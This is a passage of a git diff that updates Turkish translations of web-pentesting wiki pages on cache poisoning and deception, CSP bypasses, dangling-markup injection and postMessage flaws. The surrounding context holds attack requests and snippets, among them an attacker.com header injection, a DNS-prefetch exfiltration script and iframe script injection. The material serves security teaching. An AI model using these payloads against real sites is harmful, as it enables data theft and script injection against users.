kaldığını tanımlar. -Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin. +Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning **testi** yapın ve çalışıp çalışmadığını kontrol edin. -## Sömürü Örnekleri +## Kötüye Kullanım Örnekleri ### En kolay örnek @@ -97,9 +97,9 @@ cache-poisoning-via-url-discrepancies.md ### API anahtarını çalmak için yol geçişi ile önbellek zehirleme -[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklıyor çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır. +[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklamaktadır çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır. -Bu, daha iyi bir şekilde de açıklanmıştır: +Bu, daha iyi bir şekilde de açıklanmaktadır: {{#ref}} cache-poisoning-via-url-discrepancies.md @@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md ### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma -Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz. +Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, sayfanın yönlendirme ile nereye işaret ettiğini kontrol edebilirsiniz. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde James Kettle'ın bulduğu zafiyet gibi: +URL'deki isteği ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde James Kettle'ın bulduğu zafiyet gibi: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -142,9 +142,9 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### HTTP Cache Zehirlemesini HTTP Request Smuggling ile Kötüye Kullanma +### HTTP Cache Zehirlemesini HTTP İstek Kaçırma ile Kötüye Kullanma -[Cache Poisoning saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin. +[Cache Poisoning saldırılarını HTTP İstek Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin. ### Web Cache Zehirlemesi için Otomatik Test @@ -156,7 +156,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük bulunmadı, yalnızca ana bilgisayar, yol ve sorgu vardı. +ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük bulunmadı, yalnızca ana bilgisayar, yol ve sorgu vardı. ### GitHub CP-DoS @@ -180,7 +180,7 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile ### Kullanıcı Aracı Kuralları -Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıkları oluşturabilir. +Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıklarını ortaya çıkarabilir. ### Geçersiz Başlık Alanları @@ -192,9 +192,9 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y ## Önbellek Aldatmacası -Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**. +Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek hassas bilgileri içeren kaynakları yüklemelerini sağlamaktır**. -Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalmış** olursunuz. +Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleri ile **tekrar** yanıt veriyorsa, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz. Test edilecek diğer şeyler: @@ -203,7 +203,7 @@ Test edilecek diğer şeyler: - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif` +- _Daha az bilinen uzantıları kullanın, örneğin_ `.avif` Başka çok net bir örnek bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\ @@ -211,7 +211,7 @@ Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home. **Önbellek proxy'sinin**, dosyaları **uzantıya** (_css_) göre **önbelleğe alacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü olacak, bu da bir _.css_ dosyası için beklenen `text/css` mime türü değildir. -[Cache Deceptions saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin. +[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin. ## Otomatik Araçlar diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index d07b8d2a9..173bf140e 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -13,7 +13,7 @@ GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` -- **HTTP Meta Karakteri (HMC) ve Beklenmeyen Değerler** +- **HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler** Bazı **zararlı meta karakterler** içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği atlatmalısınız. ``` @@ -44,7 +44,7 @@ Invalid Header ``` - **HTTP Yöntem Aşımı Saldırısı (HMO)** -Eğer sunucu `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, sunucunun desteklemediği bir yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece kötü bir yanıt önbelleğe alınır: +Eğer sunucu `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınır: ``` GET /blogs HTTP/1.1 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 7c6673d70..f7a7444d6 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -5,11 +5,11 @@ Bu, önbellek zehirleme saldırıları gerçekleştirmek için önerilen tekniklerin bir özetidir **önbellek proxy'leri ve web sunucuları arasındaki tutarsızlıklardan yararlanarak.** > [!NOTE] -> Bu saldırının amacı, **önbellek sunucusunun statik bir kaynağın yüklendiğini düşünmesini sağlamak** ve böylece onu önbelleğe alırken, önbellek sunucusu yolun bir kısmını önbellek anahtarı olarak saklarken web sunucusunun başka bir yolu çözümlemesidir. Web sunucusu, kullanıcının hassas bilgilerini, XSS gibi kötü niyetli bir yükü veya örneğin saldırganın web sitesinden bir JS dosyası yüklemek için yönlendiren dinamik bir sayfayı yükleyecek gerçek yolu çözecektir. +> Bu saldırının amacı **önbellek sunucusunun statik bir kaynağın yüklendiğini düşünmesini sağlamak** böylece önbelleğe alırken, önbellek sunucusu yolun bir kısmını anahtar olarak saklarken web sunucusu başka bir yolu yanıtlamaktadır. Web sunucusu, kullanıcının hassas bilgilerini, XSS gibi kötü niyetli bir yükü veya örneğin saldırganın web sitesinden bir JS dosyası yüklemek için yönlendiren dinamik bir sayfayı yükleyecek gerçek yolu çözecektir. ## Ayırıcılar -**URL ayırıcıları**, çerçeve ve sunucuya göre değişir, isteklerin nasıl yönlendirildiğini ve yanıtların nasıl işlendiğini etkiler. Bazı yaygın köken ayırıcıları şunlardır: +**URL ayırıcıları** çerçeve ve sunucuya göre değişir, isteklerin nasıl yönlendirildiğini ve yanıtların nasıl işlendiğini etkiler. Bazı yaygın köken ayırıcıları şunlardır: - **Noktalı virgül**: Matris değişkenleri için Spring'de kullanılır (örneğin, `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). - **Nokta**: Ruby on Rails'de yanıt formatını belirtir (örneğin, `/MyAccount.css` → `/MyAccount`). @@ -18,9 +18,9 @@ Bu, önbellek zehirleme saldırıları gerçekleştirmek için önerilen teknikl Bu süreçten sonra diğer özel ayırıcılar bulunabilir: -- **Adım 1**: Önbelleğe alınamayan istekleri tanımlayın ve bunları potansiyel ayırıcıları olan URL'lerin nasıl işlendiğini izlemek için kullanın. +- **Adım 1**: Önbelleğe alınamayan istekleri tanımlayın ve bunları potansiyel ayırıcıların nasıl işlendiğini izlemek için kullanın. - **Adım 2**: Yollara rastgele ekler ekleyin ve sunucunun yanıtını karşılaştırarak bir karakterin ayırıcı olarak işlev görüp görmediğini belirleyin. -- **Adım 3**: Yanıtın değişip değişmediğini görmek için rastgele ekin öncesinde potansiyel ayırıcılar tanıtın, bu ayırıcı kullanımını gösterir. +- **Adım 3**: Yanıtın değişip değişmediğini görmek için rastgele ekin önüne potansiyel ayırıcılar ekleyin, bu ayırıcı kullanımını gösterir. ## Normalizasyon & Kodlamalar @@ -29,18 +29,18 @@ Bu süreçten sonra diğer özel ayırıcılar bulunabilir: ### **Kodlamalar** -Farklı HTTP sunucuları ve proxy'leri, Nginx, Node ve CloudFront gibi, ayırıcıları farklı şekilde çözer, bu da CDNs ve köken sunucuları arasında tutarsızlıklara yol açar. Örneğin, web sunucusu bu dönüşümü gerçekleştirirse `/myAccount%3Fparam` → `/myAccount?param` ancak önbellek sunucusu anahtar olarak yolu `/myAccount%3Fparam` olarak saklarsa, bir tutarsızlık vardır. +Farklı HTTP sunucuları ve proxy'ler, Nginx, Node ve CloudFront gibi, ayırıcıları farklı şekilde çözer, bu da CDNs ve köken sunucuları arasında tutarsızlıklara yol açar. Örneğin, web sunucusu bu dönüşümü gerçekleştirirse `/myAccount%3Fparam` → `/myAccount?param` ancak önbellek sunucusu anahtar olarak yolu `/myAccount%3Fparam` olarak saklarsa, bir tutarsızlık vardır. -Bu tutarsızlıkları kontrol etmenin bir yolu, yolu herhangi bir kodlama olmadan yükledikten sonra farklı karakterleri URL kodlaması ile istekler göndermek ve kodlanmış yol yanıtının önbellek yanıtından gelip gelmediğini kontrol etmektir. +Bu tutarsızlıkları kontrol etmenin bir yolu, yolu herhangi bir kodlama olmadan yükledikten sonra farklı karakterleri URL kodlayarak istekler göndermek ve kodlanmış yol yanıtının önbellek yanıtından gelip gelmediğini kontrol etmektir. ### Nokta segmenti -Noktaların dahil olduğu yol normalizasyonu, önbellek zehirleme saldırıları için de oldukça ilginçtir. Örneğin, `/static/../home/index` veya `/aaa..\home/index`, bazı önbellek sunucuları bu yolları kendileri anahtar olarak önbelleğe alırken, diğerleri yolu çözebilir ve `/home/index`'i önbellek anahtarı olarak kullanabilir.\ +Noktaların dahil olduğu yol normalizasyonu, önbellek zehirleme saldırıları için de oldukça ilginçtir. Örneğin, `/static/../home/index` veya `/aaa..\home/index`, bazı önbellek sunucuları bu yolları kendileri anahtar olarak önbelleğe alırken, diğerleri yolu çözüp `/home/index`'i önbellek anahtarı olarak kullanabilir.\ Daha önce olduğu gibi, bu tür istekler göndermek ve yanıtın önbellekten toplanıp toplanmadığını kontrol etmek, `/home/index`'e verilen yanıtın bu yollar istendiğinde gönderilen yanıt olup olmadığını belirlemeye yardımcı olur. ## Statik Kaynaklar -Birçok önbellek sunucusu, bir yanıt statik olarak tanımlandığında her zaman önbelleğe alır. Bu, şu nedenlerden olabilir: +Birçok önbellek sunucusu, yanıt statik olarak tanımlanırsa her zaman bir yanıtı önbelleğe alır. Bu, şu nedenlerden olabilir: - **Uzantı**: Cloudflare, aşağıdaki uzantılara sahip dosyaları her zaman önbelleğe alır: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - Dinamik bir yanıtı önbelleğe almak için bir ayırıcı ve statik bir uzantı kullanarak, `/home$image.png` isteği `/home$image.png`'i önbelleğe alacak ve köken sunucusu `/home` ile yanıt verecektir. diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 3ea681ef1..10681a0f3 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,4 +1,4 @@ -# İçerik Güvenlik Politikası (CSP) Atlatma +# İçerik Güvenlik Politikası (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir. -CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikaya uyarak, tarayıcılar bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller. +CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller. - Yanıt başlığı aracılığıyla uygulanmıştır: ``` @@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Headers -CSP, bu başlıklar kullanılarak uygulanabilir veya izlenebilir: +CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir: - `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller. - `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir. ### Defining Resources -CSP, hem aktif hem de pasif içeriğin yüklenmesi için kaynakları kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika: +CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika: ```bash default-src 'none'; img-src 'self'; @@ -39,7 +39,7 @@ object-src 'none'; ``` ### Direktifler -- **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil. +- **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil. - **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler. - **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir. - **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar. @@ -50,13 +50,13 @@ object-src 'none'; - **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar. - **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar. - **object-src**: ``, `` ve `` öğeleri için izin verilen kaynakları tanımlar. -- **base-uri**: `` öğeleri kullanarak yüklemek için izin verilen URL'leri belirtir. +- **base-uri**: `` öğeleri kullanarak yüklenebilecek izin verilen URL'leri belirtir. - **form-action**: Form gönderimleri için geçerli uç noktaları listeler. - **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar. - **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'ye yeniden yazmalarını talimat verir. - **sandbox**: ` // The bot will load an URL with the payload @@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` [**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\ -CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler **kaldırılarak** **giriş**'leri devre dışı bırakılabilir, böylece **nonce**'ları ve **sha** aracılığıyla belirli inline script'leri etkinleştirebiliriz: +CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlayarak ve belirli inline script'leri sha ile etkinleştirerek **kaldırılabilir.** ```html ``` -### JS dışa aktarımı ile Content-Security-Policy-Report-Only +### JS exfiltrasyonu ile Content-Security-Policy-Report-Only -Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve dışa aktarmak istediğiniz **JS içeriğini** **`` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenir**. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\ +Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\ Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresine bakın. ## CSP Exfiltration Bypasses @@ -669,7 +669,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Bunun olmasını önlemek için sunucu şu HTTP başlığını gönderebilir: +Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir: ``` X-DNS-Prefetch-Control: off ``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 69bcb14b0..1be059d77 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -2,7 +2,7 @@ Aşağıdaki gibi bir yapılandırma: ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` -Herhangi bir kodu bir dize olarak ileten işlevlerin kullanımını yasaklar. Örneğin: `eval, setTimeout, setInterval` ayarı `unsafe-eval` nedeniyle engellenecektir. +Herhangi bir kodu string olarak ileten fonksiyonların kullanımını yasaklar. Örneğin: `eval, setTimeout, setInterval` ayarı `unsafe-eval` nedeniyle engellenecektir. Ayrıca, dış kaynaklardan gelen herhangi bir içerik de engellenir; bu, resimler, CSS, WebSockets ve özellikle JS'yi içerir. @@ -19,7 +19,7 @@ window.frames[0].document.head.appendChild(script) ``` ### Hatalar Üzerinden -Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'u atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanabilir, bu da aşağıdaki eylemlere olanak tanır: +Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'ı atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanabilir, bu da aşağıdaki eylemlere olanak tanır: ```javascript // Inducing an nginx error frame = document.createElement("iframe") @@ -43,7 +43,7 @@ for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` -Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içindeki JavaScript yürütmesi aşağıdaki gibi gerçekleştirilebilir: +Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içinde JavaScript yürütmek aşağıdaki gibi mümkündür: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 4cf2cc597..5a435a88e 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Özgeçmiş +## Özeti Bu teknik, bir **HTML injection bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir şekilde istismar edecek bir yol bulamazsanız** [**XSS** ](../xss-cross-site-scripting/) ama **bazı HTML etiketleri enjekte edebiliyorsanız** çok faydalıdır.\ Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır. @@ -13,9 +13,9 @@ Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, ### Açık metin sırlarını çalmak -Sayfa yüklendiğinde `@import//hackvertor.co.uk? <--- Injected steal me!; @@ -32,12 +32,12 @@ Ayrıca **`test ``` -### Formları Çalma +### Formları Çalmak ```html ``` @@ -61,7 +61,7 @@ Bu saldırının [**örneğini bu yazıda bulabilirsiniz**](https://portswigger. ### Açık metin sırlarını çalmak 2 -Yeni bahsedilen tekniği kullanarak formları çalmak (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz: +Yeni bahsedilen tekniği kullanarak formları çalmak için (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz: ```html >alert(/C ``` ## [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/) -Açık Yönlendirme için kullanılan aynı testler burada da kullanılabilir. +Open Redirect için kullanılan aynı testler burada da kullanılabilir. ## [Sunucu Tarafı Şablon Enjeksiyonu](../ssti-server-side-template-injection/) @@ -155,7 +155,7 @@ ${7*7} ${{7*7}} #{7*7} ``` -### Polyglotlar +### Poliglotlar ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 3d99538cd..873e8be9f 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -36,10 +36,10 @@ Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL ol **İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\ Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir. -### iframe'leri hedef alma & **targetOrigin**'de joker karakter +### iframe'e saldırma & **targetOrigin**'de joker karakter [**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **hassas** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **hassas** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\ -Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve joker karaktere değilse**, bu **numara çalışmaz**. +Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlanmışsa ve joker karaktere değilse**, bu **numara çalışmaz**. ```markup @@ -134,9 +134,9 @@ Bir kaynağı 